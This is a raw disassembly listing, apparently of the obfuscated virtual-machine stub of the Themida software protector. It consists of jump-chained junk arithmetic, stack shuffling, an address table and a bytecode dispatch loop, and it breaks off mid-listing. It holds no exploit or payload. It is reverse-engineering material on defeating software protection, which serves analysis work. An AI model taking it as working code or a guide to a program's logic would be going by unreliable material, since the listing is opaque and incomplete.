loc_55EE7F:				; CODE XREF: Themida_:005570F8j
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, 3E040C0Ch
		sub	esi, 3AC3455Dh
		sub	esi, 31F2266Fh
		add	esi, eax
		push	edi
		jmp	loc_559EF8
; ---------------------------------------------------------------------------


loc_55EEAA:				; CODE XREF: Themida_:00557E92j
		sub	dword ptr [esp+4], 7DE16AD0h
		jmp	loc_55AA19
; ---------------------------------------------------------------------------


loc_55EEB7:				; CODE XREF: Themida_:00559BACj
		add	eax, 7C696E6Bh
		sub	eax, ecx
		jmp	loc_55A7A8
; ---------------------------------------------------------------------------


loc_55EEC3:				; CODE XREF: Themida_:0055C679j
		mov	al, 29h
		jmp	loc_559005
; ---------------------------------------------------------------------------


loc_55EECA:				; CODE XREF: Themida_:00558521j
		push	ebx
		push	3C784FCCh
		pop	ebx
		inc	ebx
		xor	ebx, 144E0551h
		jmp	loc_554D0D
; ---------------------------------------------------------------------------


loc_55EEDD:				; CODE XREF: Themida_:00557ACFj
		push	edx
		mov	edx, 1AF8135Ah
		mov	ebp, edx
		pop	edx
		xor	eax, ebp
		mov	ebp, [esp]
		push	2512h
		jmp	loc_558117
; ---------------------------------------------------------------------------


loc_55EEF5:				; CODE XREF: Themida_:005537EFj
		pop	ebx
		sub	eax, 60C249A8h
		sub	eax, 74C8360Eh
		jmp	loc_553316
; ---------------------------------------------------------------------------


loc_55EF05:				; CODE XREF: Themida_:0055AB04j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5564BA
; ---------------------------------------------------------------------------


loc_55EF14:				; CODE XREF: Themida_:0055E19Ej
		add	eax, 4
		jmp	loc_558880
; ---------------------------------------------------------------------------


loc_55EF1E:				; CODE XREF: Themida_:00556A73j
		sub	ecx, ebp
		jmp	loc_5567CD
; ---------------------------------------------------------------------------


loc_55EF25:				; CODE XREF: Themida_:0055E7E6j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	bl, al
		jmp	loc_554202
; ---------------------------------------------------------------------------


loc_55EF33:				; CODE XREF: Themida_:00559C52j
		push	eax
		jmp	loc_557D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55EF39:				; CODE XREF: sub_5747D8-19DDDj
		mov	cl, 9Dh
		jmp	loc_55C90F
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55EF40:				; CODE XREF: Themida_:0055CD41j
		dec	eax
		add	eax, 10850629h
		xor	eax, 38BB2694h
		mov	edi, eax
		pop	eax
		push	esi
		mov	esi, 612E3B21h
		sub	[esp+8], esi
		pop	esi
		sub	[esp+4], edi
		add	dword ptr [esp+4], 612E3B21h
		jmp	loc_552F86
; ---------------------------------------------------------------------------


loc_55EF6A:				; CODE XREF: Themida_:0055A715j
		mov	eax, 2
		add	ebx, 3DC2DC5h
		add	ebx, eax
		sub	ebx, 3DC2DC5h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_558784
; ---------------------------------------------------------------------------


loc_55EFA3:				; CODE XREF: Themida_:00559F4Aj
		add	ecx, 28545836h
		jmp	loc_555E8B
; ---------------------------------------------------------------------------


loc_55EFAE:				; CODE XREF: Themida_:00554AC6j
		mov	esp, [esp]
		jmp	loc_55BC82
; ---------------------------------------------------------------------------


loc_55EFB6:				; CODE XREF: Themida_:005559D6j
		add	al, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0A8h
		jmp	loc_55DE21
; ---------------------------------------------------------------------------


loc_55EFD2:				; CODE XREF: Themida_:00559965j
		sub	ebp, 14FA3866h
		add	ebp, edx
		add	ebp, 14FA3866h
		jmp	loc_55D88B
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_5530CB
; ---------------------------------------------------------------------------


loc_55EFEB:				; CODE XREF: Themida_:00559F16j
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		jmp	loc_553954
; ---------------------------------------------------------------------------


loc_55F007:				; CODE XREF: Themida_:0055BAE0j
		pop	ecx
		push	1B85h
		mov	[esp], edx
		mov	edx, 2Ch
		jmp	loc_55E716
; ---------------------------------------------------------------------------


loc_55F01A:				; CODE XREF: Themida_:00554FBCj
		sub	bl, dh
		add	bl, 6Ch
		pop	edx
		sub	bl, 45h
		sub	bl, al
		push	edx
		push	ecx
		mov	ch, 2Dh
		sub	ch, 0C0h
		inc	ch
		shl	ch, 1
		jmp	loc_55E44F
; ---------------------------------------------------------------------------


loc_55F035:				; CODE XREF: Themida_:0055439Aj
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, 40E96ED8h
		add	esi, ebp
		jmp	loc_558CF3
; ---------------------------------------------------------------------------


loc_55F063:				; CODE XREF: Themida_:00556F01j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		jmp	loc_55AC28
; ---------------------------------------------------------------------------


loc_55F079:				; CODE XREF: Themida_:00557DDDj
		push	eax
		push	2
		pop	eax
		add	edx, 263F27C8h
		add	edx, 0E1E439Eh
		sub	edx, 50B650ECh
		add	edx, eax
		add	edx, 50B650ECh
		sub	edx, 0E1E439Eh
		sub	edx, 263F27C8h
		jmp	loc_55913C
; ---------------------------------------------------------------------------


loc_55F0AB:				; CODE XREF: Themida_:005572BFj
		add	esp, [edx+38h]
		push	esi
		mov	esi, 17660250h
		sub	esp, 4
		mov	[esp], ebp
		push	0D93630Fh
		jmp	loc_55AC2F
; ---------------------------------------------------------------------------


loc_55F0C7:				; CODE XREF: Themida_:00558B1Aj
		xchg	edi, [esp]
		pop	esp
		push	6077h
		mov	[esp], edi
		mov	edi, 3F474A7h
		sub	edi, 0AE835C88h
		add	eax, edi
		jmp	loc_553C17
; ---------------------------------------------------------------------------


loc_55F0E5:				; CODE XREF: Themida_:0055C3D4j
		add	esp, 4
		dec	ebx
		sub	ebx, 0C1A0086Dh
		xor	edi, ebx
		pop	ebx
		xor	eax, edi
		pop	edi
		and	ecx, eax
		pop	eax
		shr	ecx, 0
		or	eax, eax
		jz	loc_558484
		push	esi
		push	esp
		mov	esi, [esp]
		jmp	loc_553BE6
; ---------------------------------------------------------------------------


loc_55F10D:				; CODE XREF: Themida_:005564B5j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55B5CB
; ---------------------------------------------------------------------------


loc_55F11E:				; CODE XREF: Themida_:0055BE8Ej
		or	ch, 45h
		not	ch
		xor	ch, 24h
		add	ch, 15h
		add	bh, ch
		pop	ecx
		jmp	loc_553631
; ---------------------------------------------------------------------------


loc_55F131:				; CODE XREF: Themida_:0055EDDBj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		add	ecx, esi
		mov	esi, [esp]
		push	58B2h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55E801
; ---------------------------------------------------------------------------


loc_55F155:				; CODE XREF: Themida_:00557A1Ej
		xchg	ebx, [esp]
		jmp	loc_5574C5
; ---------------------------------------------------------------------------


loc_55F15D:				; CODE XREF: Themida_:0055415Fj
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5577C3
; ---------------------------------------------------------------------------


loc_55F16F:				; CODE XREF: Themida_:0055D083j
		mov	esp, [esp]
		jmp	loc_556030
; ---------------------------------------------------------------------------


loc_55F177:				; CODE XREF: Themida_:0055DBBBj
		add	al, 0C4h
		jmp	loc_55C2C1
; ---------------------------------------------------------------------------


loc_55F17E:				; CODE XREF: Themida_:00558420j
		push	edi
		push	ecx
		push	edx
		jmp	loc_55D2D2
; ---------------------------------------------------------------------------


loc_55F186:				; CODE XREF: Themida_:00555FC9j
		mov	[esp], ebx
		pop	ecx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_556F56
; ---------------------------------------------------------------------------


loc_55F19E:				; CODE XREF: Themida_:00556B64j
		sub	dh, 4Eh
		jmp	loc_5558B7
; ---------------------------------------------------------------------------


loc_55F1A6:				; CODE XREF: Themida_:0055AB72j
		add	eax, edx
		jmp	loc_55B972
; ---------------------------------------------------------------------------


loc_55F1AD:				; CODE XREF: Themida_:005559E9j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_557EA9
; ---------------------------------------------------------------------------


loc_55F1B8:				; CODE XREF: Themida_:0055D9B1j
		pop	small word ptr [eax]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55F1C0:				; CODE XREF: Themida_:00553F93j
		neg	ebp
		jmp	loc_553CB8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55F1D7:				; CODE XREF: Themida_:00558646j
		add	edx, 7FB9074Fh
		not	edx
		shr	edx, 8
		add	edx, 2D6E4C52h
		xor	edx, 0A57F98h
		mov	ecx, edx
		pop	edx
		xor	edx, ecx
		pop	ecx
		add	edx, 3E733190h
		jmp	loc_55A648
; ---------------------------------------------------------------------------


loc_55F1FF:				; CODE XREF: Themida_:005530AAj
		shl	esi, 8
		push	2ECCh
		mov	[esp], ebx
		mov	ebx, 618B6B24h
		jmp	loc_5589AA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebp
		push	ebx
		mov	ebx, 6A3840E3h
		mov	ebp, ebx
		jmp	loc_55C80F
; ---------------------------------------------------------------------------
		db 19h,	0Dh, 0
		dd 5BA77100h, 31E900h, 0
		dd 5B967F00h, 0
		dd 45AECA00h, 217FAh, 200h, 100h, 300h,	45AECA00h, 0FAh
		dd 4 dup(0)
		dd 560B0E00h, 560C0A00h, 57285600h, 561EB200h, 5637DA00h
		dd 55FBD200h, 57325200h, 57232700h, 5636E600h, 560D4500h
		dd 5648B900h, 56E18C00h, 56B68A00h, 56A89C00h, 56C70200h
		dd 561A1800h, 56C85300h, 5734C900h, 56C41A00h, 564B2800h
		dd 5745DD00h, 565BDC00h, 56BC9B00h, 56627B00h, 56EF9000h
		dd 56C9AA00h, 57081000h, 56EBC900h, 56FE3800h, 5724C100h
		dd 561D0C00h, 57373900h, 56F30100h, 56694400h, 55FA9F00h
		dd 5709E100h, 57372100h, 5697A800h, 5659F200h, 56536200h
		dd 5616C300h, 56667500h, 561DFF00h, 568D9100h, 56959F00h
		dd 5626BB00h, 56B34500h, 56871A00h, 56607100h, 5605CF00h
		dd 56CBA700h, 561CEC00h, 5654DC00h, 570F8100h, 55F95900h
		dd 57071F00h, 56D7BA00h, 55F56400h, 57263F00h, 5646E700h
		dd 570CCC00h, 57115200h, 5651F100h, 5715BE00h, 56763400h
		dd 567E2300h, 5723C900h, 56D3A000h, 5735CF00h, 56DCB600h
		dd 56E24100h, 569EFA00h, 56C04B00h, 566AE500h, 56F99100h
		dd 57010700h, 5637E100h, 56E54B00h, 56600B00h, 56AA7600h
		dd 562A7500h, 5610B900h, 57176500h, 57093F00h, 5687C800h
		dd 57207100h, 56B89A00h, 571A4900h, 56D26F00h, 56C70A00h
		dd 55FD8A00h, 567CF200h, 56A45F00h, 5724AA00h, 56A27800h
		dd 56153400h, 56A59900h, 571A5900h, 56C50900h, 563B1900h
		dd 570AEA00h, 56977A00h, 56759D00h, 566DA000h, 56CE0800h
		dd 56094C00h, 56A53500h, 56521900h, 56DC7300h, 573A6800h
		dd 56F4D000h, 563D0500h, 56261B00h, 57117A00h, 56BFF500h
		dd 573B7400h, 5611BB00h, 568B0600h, 5689F600h, 57247600h
		dd 56BB4300h, 56834B00h, 569EAB00h, 56DE3300h, 563BCE00h
		dd 56754900h, 5606E500h, 570E3400h, 55FBE100h, 5701DA00h
		dd 56EDAC00h, 5690A100h, 566FCA00h, 564D7500h, 5616E100h
		dd 5650CC00h, 55F8E000h, 57478C00h, 56B17F00h, 56CF8600h
		dd 563D1F00h, 55FC2900h, 563FEE00h, 57436800h, 56087400h
		dd 56FEB900h, 5681BC00h, 567CE500h, 56C3DB00h, 5612F000h
		dd 56CB5E00h, 570D5F00h, 56893100h, 565ED100h, 560DAF00h
		dd 565F0E00h, 5617B600h, 55FDB600h, 56D5CC00h, 571CA600h
		dd 56DEB900h, 56B72800h, 56665E00h, 56365E00h, 572E7100h
		dd 5731CC00h, 56B54000h
		db 0
; ---------------------------------------------------------------------------


loc_55F515:				; CODE XREF: Themida_:005A1742j
					; Themida_:005A174Cj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6104653h
		mov	eax, edi
		add	edi, 610436Bh
		cmp	eax, [edi+2Ch]
		jnz	short loc_55F533
		jmp	short loc_55F546
; ---------------------------------------------------------------------------


loc_55F533:				; CODE XREF: Themida_:0055F52Fj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55F542
; ---------------------------------------------------------------------------


loc_55F53D:				; CODE XREF: Themida_:0055F544j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55F542:				; CODE XREF: Themida_:0055F53Bj
		or	ecx, ecx
		jnz	short loc_55F53D


loc_55F546:				; CODE XREF: Themida_:0055F531j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55F553:				; CODE XREF: Themida_:0055F55Aj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55F553


loc_55F55C:				; CODE XREF: Themida_:0055F67Fj
					; Themida_:0055F95Cj ...
		lodsb
		sub	al, 6Ch
		jmp	loc_561CCC
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 41C4093Bh
		jmp	loc_571E98
; ---------------------------------------------------------------------------


loc_55F575:				; CODE XREF: Themida_:00566BA3j
		not	ebx
		jmp	loc_56C8EC
; ---------------------------------------------------------------------------


loc_55F57C:				; CODE XREF: Themida_:00563C05j
		pop	esi
		add	esp, 4
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_56D29E
; ---------------------------------------------------------------------------


loc_55F58D:				; CODE XREF: Themida_:00562D8Dj
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 36A82BD4h
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 0EB21E001h
		add	eax, edi
		pop	edi
		add	eax, ebx
		push	edx
		push	eax
		jmp	loc_566D57
; ---------------------------------------------------------------------------


loc_55F5BA:				; CODE XREF: Themida_:005706ABj
		add	ebx, 1844633Dh
		jmp	loc_571D9F
; ---------------------------------------------------------------------------


loc_55F5C5:				; CODE XREF: Themida_:0056292Fj
		push	ebx
		mov	ebx, 3B242CABh
		mov	edx, ebx
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_5648DF
; ---------------------------------------------------------------------------


loc_55F5D8:				; CODE XREF: Themida_:00573E25j
		pop	ecx
		jmp	loc_562FC7
; ---------------------------------------------------------------------------


loc_55F5DE:				; CODE XREF: Themida_:00565F27j
		xchg	edx, ecx
		jmp	loc_56E575
; ---------------------------------------------------------------------------


loc_55F5E5:				; CODE XREF: Themida_:00561D15j
		mov	[esp], eax
		jmp	loc_5614FD
; ---------------------------------------------------------------------------


loc_55F5ED:				; CODE XREF: Themida_:00566F68j
		sub	edi, 669634EDh
		jmp	loc_562F85
; ---------------------------------------------------------------------------


loc_55F5F8:				; CODE XREF: Themida_:00564458j
		push	2323h
		mov	[esp], edx
		push	16EF261Ch
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	0E912D9E4h
		jmp	loc_56B8D5
; ---------------------------------------------------------------------------


loc_55F61E:				; CODE XREF: Themida_:00574569j
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, 27187493h
		add	ebp, 0E415B061h
		push	edi
		jmp	loc_5682CA
; ---------------------------------------------------------------------------


loc_55F639:				; CODE XREF: Themida_:00572851j
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_56BD27
; ---------------------------------------------------------------------------


loc_55F644:				; CODE XREF: Themida_:00563D5Bj
		sub	ebx, ebp
		push	ebp
		mov	ebp, 93327CEh
		inc	ebp
		or	ebp, 40256C16h
		jmp	loc_56906D
; ---------------------------------------------------------------------------


loc_55F658:				; CODE XREF: Themida_:0056998Cj
		pop	edx
		jmp	loc_56AE6F
; ---------------------------------------------------------------------------


loc_55F65E:				; CODE XREF: Themida_:00563FE9j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	small 7968h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_55F684:				; CODE XREF: Themida_:00568C26j
		sub	ch, al
		pop	eax
		jmp	loc_562141
; ---------------------------------------------------------------------------


loc_55F68C:				; CODE XREF: Themida_:00570B63j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_570926
; ---------------------------------------------------------------------------


loc_55F695:				; CODE XREF: Themida_:005613DDj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_566861
; ---------------------------------------------------------------------------


loc_55F6AC:				; CODE XREF: Themida_:00563E37j
		pop	ebp
		pop	ebp
		push	5AC6h
		mov	[esp], edx
		mov	edx, 648B62F6h
		push	ecx
		mov	ecx, 1165012Fh
		and	ecx, 63CC5D8Ch
		xor	ecx, 194D2ACFh
		shr	ecx, 5
		xor	ecx, 3C759AFh
		sub	edx, ecx
		pop	ecx
		neg	edx
		xor	edx, 3E22603Ch
		add	edx, 3C827DB2h
		push	ebp
		mov	ebp, 0
		sub	ebp, edx
		xchg	ebp, edx
		pop	ebp
		sub	edx, 2323B483h
		sub	esi, 168658DEh
		add	esi, 1D653B8Dh
		add	esi, edx
		jmp	loc_572A46
; ---------------------------------------------------------------------------


loc_55F70B:				; CODE XREF: Themida_:0056A67Aj
		add	esp, 4
		jmp	loc_569596
; ---------------------------------------------------------------------------


loc_55F713:				; CODE XREF: Themida_:005617DEj
		mov	edx, [esp]
		add	esp, 4
		mov	dl, bh
		mov	ebx, [esp]
		jmp	loc_56D472
; ---------------------------------------------------------------------------


loc_55F723:				; CODE XREF: Themida_:0056B5EDj
		pop	ebp
		add	ebp, 4
		jmp	loc_570AD4
; ---------------------------------------------------------------------------


loc_55F72F:				; CODE XREF: Themida_:005642FCj
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	7FD7h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_56860C
; ---------------------------------------------------------------------------


loc_55F746:				; CODE XREF: Themida_:005699B4j
		pop	edi
		shl	ecx, 7
		shr	ecx, 4
		add	ecx, 0D242EEBh
		jmp	loc_571BDD
; ---------------------------------------------------------------------------


loc_55F758:				; CODE XREF: Themida_:005650D9j
		mov	[esp], edx
		push	esi
		mov	esi, 67AC048Bh
		push	eax
		mov	eax, 2F8D18F2h
		add	esi, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5654B6
; ---------------------------------------------------------------------------


loc_55F774:				; CODE XREF: Themida_:00565DD5j
		not	dword ptr [esp]
		pop	edi
		add	edi, 377F7B71h
		and	eax, edi
		jmp	loc_570F18
; ---------------------------------------------------------------------------


loc_55F785:				; CODE XREF: Themida_:0056D0B0j
		sub	edx, 497117D3h
		pop	esi
		add	edx, ecx
		sub	edx, 217D343Bh
		pop	ecx
		sub	esp, 4
		jmp	loc_56BF5D
; ---------------------------------------------------------------------------


loc_55F7A0:				; CODE XREF: Themida_:005663E3j
		add	al, bl
		pop	bx
		jmp	loc_56A018
; ---------------------------------------------------------------------------


loc_55F7A9:				; CODE XREF: Themida_:0056A9D2j
		add	ebx, esi
		pop	esi
		sub	ebp, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5707E8
; ---------------------------------------------------------------------------


loc_55F7C2:				; CODE XREF: Themida_:005688B2j
		push	ecx
		push	ebx
		jmp	loc_570F5C
; ---------------------------------------------------------------------------


loc_55F7C9:				; CODE XREF: Themida_:00567AFFj
		shl	ebp, 6
		neg	ebp
		jmp	loc_56C791
; ---------------------------------------------------------------------------


loc_55F7D3:				; CODE XREF: Themida_:00561A3Cj
		inc	edx
		dec	edx
		add	edx, 0C9F50F92h
		jmp	loc_56DD76
; ---------------------------------------------------------------------------


loc_55F7E0:				; CODE XREF: Themida_:0056EFD1j
		push	esi
		mov	esi, 53672B13h
		mov	ecx, esi
		pop	esi
		inc	ecx
		shr	ecx, 7
		add	ecx, 36873394h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_566792
; ---------------------------------------------------------------------------


loc_55F7FB:				; CODE XREF: Themida_:005614F8j
		xor	ecx, ebx
		pop	ebx
		add	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 2
		add	edx, esi
		pop	esi
		push	edx
		jmp	loc_56280F
; ---------------------------------------------------------------------------


loc_55F810:				; CODE XREF: Themida_:00571E82j
		pop	esi
		push	edx
		mov	edx, 2Ch
		push	3F5Ah
		mov	[esp], ebp
		mov	ebp, 64CD7DE3h
		push	esi
		jmp	loc_56FFD6
; ---------------------------------------------------------------------------


loc_55F82A:				; CODE XREF: Themida_:005731B7j
		push	edx
		jmp	loc_561EBB
; ---------------------------------------------------------------------------


loc_55F830:				; CODE XREF: Themida_:00563528j
		push	ecx
		jmp	loc_56D533
; ---------------------------------------------------------------------------


loc_55F836:				; CODE XREF: Themida_:00563DC9j
		pop	esi
		add	edi, 6E142082h
		add	edi, edx
		sub	edi, 6E142082h
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ecx
		sub	esp, 4
		jmp	loc_56ADA5
; ---------------------------------------------------------------------------


loc_55F85D:				; CODE XREF: Themida_:00560E09j
		dec	dword ptr [esp]
		pop	ebp
		jmp	loc_5718E5
; ---------------------------------------------------------------------------


loc_55F866:				; CODE XREF: Themida_:00573268j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_566C3F
; ---------------------------------------------------------------------------


loc_55F87D:				; CODE XREF: Themida_:0056C813j
		add	eax, edi
		sub	eax, 2E256E8Ah
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	1CFAh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_574175
; ---------------------------------------------------------------------------


loc_55F8B6:				; CODE XREF: Themida_:00562860j
		push	eax
		jmp	loc_560F90
; ---------------------------------------------------------------------------


loc_55F8BC:				; CODE XREF: Themida_:0057199Dj
		mov	edi, 440C6535h
		jmp	loc_5646AF
; ---------------------------------------------------------------------------


loc_55F8C6:				; CODE XREF: Themida_:00571E52j
		not	ecx
		sub	ecx, 46C05685h
		mov	edi, ecx
		jmp	loc_561A6F
; ---------------------------------------------------------------------------


loc_55F8D5:				; CODE XREF: Themida_:0056A4AEj
		add	ebx, 0EE17885h
		jmp	loc_572D92
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		jmp	loc_570761
; ---------------------------------------------------------------------------


loc_55F8E9:				; CODE XREF: Themida_:0056C12Aj
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5D93437Eh
		inc	ebx
		xor	ebx, 1B4E738Dh
		push	5575h
		mov	[esp], esi
		mov	esi, 46DD30EEh
		sub	ebx, esi
		pop	esi
		sub	edx, 483579FEh
		add	edx, ebx
		jmp	loc_567EC6
; ---------------------------------------------------------------------------


loc_55F920:				; CODE XREF: Themida_:00571A85j
		pop	ecx
		push	ecx
		jmp	loc_56CCA2
; ---------------------------------------------------------------------------


loc_55F927:				; CODE XREF: Themida_:00572DACj
		mov	[esp], edi
		push	2
		pop	edi
		jmp	loc_574013
; ---------------------------------------------------------------------------


loc_55F935:				; CODE XREF: Themida_:00561BE9j
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_56DFA7
; ---------------------------------------------------------------------------


loc_55F94A:				; CODE XREF: Themida_:0056E187j
		mov	ebp, 0DA532934h
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_566558
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_55F961:				; CODE XREF: Themida_:00573A4Fj
		mov	bl, 69h
		or	bl, 8Ah
		not	bl
		jmp	loc_56D7F7
; ---------------------------------------------------------------------------


loc_55F96D:				; CODE XREF: Themida_:0056828Ej
		push	edi
		mov	edi, 9A0506Fh
		sub	esp, 4
		mov	[esp], edi
		pop	ecx
		pop	edi
		xchg	eax, ecx
		dec	eax
		not	eax
		xchg	eax, ecx
		jmp	loc_5707AA
; ---------------------------------------------------------------------------


loc_55F988:				; CODE XREF: Themida_:0056056Aj
		mov	eax, 1BF1721Ah
		mov	edi, 13D52E1Ch
		jmp	loc_56BFED
; ---------------------------------------------------------------------------


loc_55F997:				; CODE XREF: Themida_:0057193Bj
		push	ebx
		mov	ebx, 3F9D2F07h
		xor	ebx, 49AC59A6h
		jmp	loc_57158A
; ---------------------------------------------------------------------------


loc_55F9A8:				; CODE XREF: Themida_:00565EFCj
		mov	ebx, 7F8C1854h
		not	ebx
		shl	ebx, 2
		jmp	loc_56B070
; ---------------------------------------------------------------------------


loc_55F9B7:				; CODE XREF: Themida_:00572BA3j
		mov	bp, 0A171h
		jmp	loc_565A4C
; ---------------------------------------------------------------------------


loc_55F9C0:				; CODE XREF: Themida_:005738DBj
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		sub	esp, 4
		jmp	loc_571FE8
; ---------------------------------------------------------------------------


loc_55F9DC:				; CODE XREF: Themida_:005657E1j
		add	ebx, esi
		add	ebx, 5BE96DD6h
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_568101
; ---------------------------------------------------------------------------


loc_55F9FD:				; CODE XREF: Themida_:005670B8j
		add	ebp, 4
		jmp	loc_573C89
; ---------------------------------------------------------------------------


loc_55FA05:				; CODE XREF: Themida_:00563C45j
		push	ebp
		jmp	loc_571308
; ---------------------------------------------------------------------------


loc_55FA0B:				; CODE XREF: Themida_:00565153j
		mov	ebx, 67642DA2h
		neg	ebx
		shl	ebx, 3
		dec	ebx
		sub	ebx, 6A3F41A9h
		push	edx
		mov	edx, 5A02408Ah
		xor	ebx, edx
		pop	edx
		add	esi, ebx
		jmp	loc_56AC8F
; ---------------------------------------------------------------------------


loc_55FA2C:				; CODE XREF: Themida_:005610B4j
		mov	edx, 7FB270A0h
		jmp	loc_56FD9C
; ---------------------------------------------------------------------------


loc_55FA36:				; CODE XREF: Themida_:00569FC2j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		push	404F23F3h
		pop	ebx
		shl	ebx, 3
		shl	ebx, 4
		add	ebx, 8D410E0h
		mov	edx, ebx
		pop	ebx
		sub	edx, 30660A61h
		jmp	loc_569E69
; ---------------------------------------------------------------------------


loc_55FA77:				; CODE XREF: Themida_:00561191j
		add	eax, 7357225Ch
		jmp	loc_56B997
; ---------------------------------------------------------------------------


loc_55FA81:				; CODE XREF: Themida_:00566EF5j
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_56E284
; ---------------------------------------------------------------------------


loc_55FA8A:				; CODE XREF: Themida_:00564381j
		push	ecx
		mov	cl, 0E0h
		shl	cl, 5
		shr	cl, 7
		jmp	loc_571350
; ---------------------------------------------------------------------------


loc_55FA98:				; CODE XREF: Themida_:0056A5F8j
		xor	edx, ebx
		jmp	loc_56C24D
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_56E33A
; ---------------------------------------------------------------------------


loc_55FAA7:				; CODE XREF: Themida_:005714EBj
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_55FAB0:				; CODE XREF: Themida_:0056BCDFj
		mov	esp, [esp]
		jmp	loc_56628E
; ---------------------------------------------------------------------------


loc_55FAB8:				; CODE XREF: Themida_:005670F8j
		sub	edx, 698508CBh
		dec	edx
		inc	edx
		or	edx, 7DD11FEEh
		xor	edx, 62BED26Ch
		sub	ebp, edx
		pop	edx
		add	edx, ebp
		pop	ebp
		jmp	loc_565093
; ---------------------------------------------------------------------------


loc_55FAD7:				; CODE XREF: Themida_:0056DBEEj
		mov	cl, 4Ch
		jmp	loc_56DBF3
; ---------------------------------------------------------------------------


loc_55FADE:				; CODE XREF: Themida_:00567175j
		pop	edx
